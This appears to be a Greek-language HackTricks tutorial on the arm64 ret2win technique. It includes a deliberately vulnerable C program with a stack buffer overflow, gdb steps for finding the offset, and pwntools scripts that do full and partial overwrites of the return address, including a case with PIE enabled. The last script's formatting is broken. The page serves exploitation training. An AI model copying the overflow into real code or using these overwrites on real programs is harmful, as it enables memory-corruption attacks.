5.8 KiB
Raw Blame History

Ret2win - arm64

{{#include ../../../banners/hacktricks-training.md}}

Βρείτε μια εισαγωγή στο arm64 στο:

{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Συγκέντρωση χωρίς pie και canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Εύρεση της απόκλισης

Επιλογή προτύπου

Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας GEF:

Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το:

gdb -q ./ret2win
pattern create 200
run

Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου:

pattern search $x30

Η απόσταση είναι 72 (9x48).

Επιλογή απόστασης στοίβας

Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Τώρα ορίστε ένα breakpoint μετά το read() και συνεχίστε μέχρι να εκτελεστεί το read() και ορίστε ένα μοτίβο όπως 13371337:

b *vulnerable_function+28
c

Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:

Τότε: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Χωρίς PIE

Κανονικό

Αποκτήστε τη διεύθυνση της win συνάρτησης:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Εκμετάλλευση:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε μόνο τα τελευταία 2 bytes με 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, το οποίο είναι μια πραγματική off-by-one σε μια φανταστική ευπάθεια.

Με PIE

Tip

Συγκεντρώστε το δυαδικό χωρίς το επιχείρημα -no-pie

Off-by-2

Χωρίς μια διαρροή δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης, αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε την απόσταση στη συνάρτηση win (0x7d4) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

{{#include ../../../banners/hacktricks-training.md}}